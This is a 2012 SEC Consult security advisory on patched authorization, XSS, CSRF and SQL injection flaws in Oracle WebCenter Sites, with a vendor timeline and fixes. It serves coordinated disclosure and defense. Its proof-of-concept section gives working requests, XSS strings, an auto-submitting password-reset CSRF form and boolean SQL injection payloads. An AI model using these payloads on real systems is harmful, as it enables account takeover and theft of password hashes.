SEC Consult Vulnerability Lab Security Advisory < 20121017-2 >
=======================================================================
              title: Multiple vulnerabilities in Oracle WebCenter Sites
            product: Oracle WebCenter Sites (former FatWire Content Server)
 vulnerable version: 6.1, 6.2, 6.3.x, 7, 7.0.1, 7.0.2, 7.0.3, 7.5, 7.6.1,
                     7.6.2, 11.1.1.6.0
      fixed version: Patch information see sections below
                CVE: CVE-2012-3183 (S0183794)
                     CVE-2012-3184 (S0183815)
                     CVE-2012-3185 (S0183827)
                     CVE-2012-3186 (S0183836)
             impact: High
           homepage: http://www.oracle.com/us/corporate/acquisitions/fatwire/index.html
              found: 21.05.2012
                 by: F. Lukavsky
                     SEC Consult Vulnerability Lab
                     https://www.sec-consult.com
=======================================================================

Vendor description:
-------------------
FatWire Content Server is a predecessor product of Oracle WebCenter Sites.

FatWire Content Server is a software suite that allows you to create and
manage content to be published on your online site. The content is stored in
Content Server's database. You create and manipulate the content using Content
Server's interface, which provides a simple and intuitive way of accessing and
working with the CS database.

FatWire Content Server 7 - Advanced Interface User's Guide
<http://docs.oracle.com/cd/E28662_01/doc.76/content_server/cs_user_advanced_76p2.pdf>


Vulnerability overview/description:
-----------------------------------
1) Authorization Issues
   The backend of the Content Server fails to validate authorization for
   certain requests. This allows low privileged users manipulating data,
   which they are not authorized to.

2) Cross-Site Scripting
   The backend of the Content Server is prone to permanent and reflected
   Cross-Site Scripting attacks. The vulnerability can be used to include
   HTML- or JavaScript code to the affected web page. The code is executed
   in the browser of users if they visit the manipulated site. The
   vulnerability can be used to change the contents of the displayed site,
   redirect to other sites or steal user credentials. Additionally, Portal
   users are potential victims of browser exploits and JavaScript Trojans.

3) Cross-Site Request Forgery
   An attacker can use Cross-Site Request Forgery to perform arbitrary web
   requests with the identity of the victim without being noticed by the
   victim. Although responses to these requests are not delivered to the
   attacker, in many cases it is sufficient to be able to compromise the
   integrity of the victim's information stored on the site or to perform
   certain, possibly compromising requests to other sites.

4) SQL Injection
   Due to insufficient input validation, the backend of FatWire Content
   Server allows the injection of direct SQL commands. By exploiting the
   vulnerability, an attacker gains access to all records stored in the
   database with the privileges of database user CSAUTHORING.


Proof of concept:
-----------------

1) In the user profile, users are given the possibility to change their email
   address. By supplying arbitrary user names, a low privileged user can
   change the email address of other users:

        POST /cs/ContentServer HTTP/1.1

        _charset_=UTF-8&cs_environment=standard&cs_formmode=WCM&username=<username
        of the target user>&email=<new email
        address>&selectedLocale=None&userid=userid%3D<own user

id>%2Cou%3DPeople&manageprofile=true&password=&password2=&pagename=OpenMarket%2FXcelerate%2FAdmin%2FUserProfilePost&action=edit

2) The display name of page elements are included unsanitized when viewing
   the element's details. Creating a new image with the following manipulated
   parameter demonstrates this issue:

   -----------------------------6083206021221
   Content-Disposition: form-data; name="flexassets:name"

   xxx.jsp</script><script>alert(document.location)</script>
   -----------------------------6083206021221


   Additionally, users can change their email address in the user profile
   management. The email address is included unsanitized when viewing a
   manipulated profile. Furthermore, by combining this issue with the attack
   described in vulnerability (1), the Cross-Site Scripting payload can be
   embedded in the user profile of arbitrary users. The following request
   demonstrates this issue:

        POST /cs/ContentServer HTTP/1.1

        _charset_=UTF-8&cs_environment=standard&cs_formmode=WCM&username=<username
        of the target user>&email=<manipulated email
        address>%3Cscript%3Ealert%28document.location%29%3C%2Fscript%3E&selectedLocale=None&userid=userid%3D<own
        user

id>%2Cou%3DPeople&manageprofile=true&password=&password2=&pagename=OpenMarket%2FXcelerate%2FAdmin%2FUserProfilePost&action=edit
        Many parameters are included unsanitized in error messages, which
        leads to reflected Cross-Site Scripting vulnerabilities:

http://fatwire/cs/ContentServer?username=<script>alert(document.location)</script>&manageprofile=true&action=edit&pagename=OpenMarket%2FXcelerate%2FAdmin%2FUserProfileFront


http://fatwire/cs/ContentServer?StartItem=1327334935133";><script>alert(document.location)</script>&AssetType=Page&cs_environment=standard&pagename=OpenMarket%2FXcelerate%2FActions%2FNewContentFront&cs_formmode=WCM

   These examples raise no claims of being complete.


3) A low privileged user can view all available users and their user ids
   when creating a workflow report. When the target user submits the
   following form while being logged in, an attacker can change the
   password of the target user to an arbitrary value:

    <html>
          <body onload="document.forms[0].submit()">
                <form action="http://fatwire/cs/ContentServer"; method="POST">
                  <input type="hidden" name="_charset_" value="UTF-8" />
                  <input type="hidden" name="cs_environment"
value="standard" /> <input type="hidden" name="cs_formmode" value="WCM" />
                  <input type="hidden" name="username" value="<target user>" />
                  <input type="hidden" name="email" value="" />
                  <input type="hidden" name="selectedLocale" value="None" />
                  <input type="hidden" name="userid"
                                 value="userid=<target user id>,ou=People" />
                  <input type="hidden" name="modifyPassword" value="on" />
                  <input type="hidden" name="manageprofile" value="true" />
                  <input type="hidden" name="password" value="<new
password>" /> <input type="hidden" name="password2" value="<new password>" />
                  <input type="hidden" name="pagename"
                                 value="OpenMarket/Xcelerate/Admin/UserProfilePost" />
                  <input type="hidden" name="action" value="edit" />
                </form>
          </body>
        </html>


4) The parameter selectedLocale of the user profile management form is
   vulnerable to a SQL Injection vulnerability. The following true comparison
   added to the SQL query results in the locale preference to be set to
   English (United States):

        POST /cs/ContentServer HTTP/1.1

        _charset_=UTF-8&cs_environment=standard&cs_formmode=WCM&username=user&email=mail () example
com&selectedLocale=None'+or+1%3d1--+&userid=userid%

3D1327334925026%2Cou%3DPeople&manageprofile=true&pagename=OpenMarket%2FXcelerate%2FAdmin%2FUserProfilePost&action=edit
   The following request with a false comparison being added to the SQL query
   results in the locale preference to be set to no preference:

        POST /cs/ContentServer HTTP/1.1

        _charset_=UTF-8&cs_environment=standard&cs_formmode=WCM&username=user&email=mail () example
com&selectedLocale=None'+or+1%3d2--+&userid=userid%

3D1327334925026%2Cou%3DPeople&manageprofile=true&pagename=OpenMarket%2FXcelerate%2FAdmin%2FUserProfilePost&action=edit

   Observing these differences, arbitrary data of the database can be
   extracted bitwise. This includes for example the password hashes of other
   Content Server users.


Vulnerable / tested versions:
-----------------------------
The following installation has been tested: FatWire Content Server 7.6.1
Hotfix 4


The following versions have been supplied by Oracle and are vulnerable too:
6.1, 6.2, 6.3.x, 7, 7.0.1, 7.0.2, 7.0.3, 7.5, 7.6.1, 7.6.2, 11.1.1.6.0



Vendor contact timeline:
------------------------
2012-06-04: Contacting vendor through secalert_us () oracle com
2012-06-07: Initial vendor response - issues will be verified
2012-06-21: Under investigation / Being fixed in main codeline
2012-07-24: Issue fixed in main codeline, scheduled for a future CPU
2012-10-15: Oracle: Advisory and patches will be released on 2012-10-16
2012-10-16: Oracle releases October 2012 CPU
2012-10-17: Public release of SEC Consult advisory



Solution:
---------
Apply latest patches, see:

http://www.oracle.com/technetwork/topics/security/cpuoct2012-1515893.html
https://support.oracle.com/rs?type=doc&id=1477727.1


Workaround:
-----------
Restrict access to the backend of the FatWire Content Server.
Do not visit untrusted sites while being logged into the backend of the
FatWire Content Server.
Keep the time being logged in as short as possible and do not activate
the option to stay logged into the backend of the FatWire Content Server.


Advisory URL:
-------------
https://www.sec-consult.com/en/advisories.html


~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
SEC Consult Unternehmensberatung GmbH

Office Vienna
Mooslackengasse 17
A-1190 Vienna
Austria

Tel.: +43 / 1 / 890 30 43 - 0
Fax.: +43 / 1 / 890 30 43 - 25
Mail: research at sec-consult dot com
https://www.sec-consult.com

EOF F. Lukavsky / @2012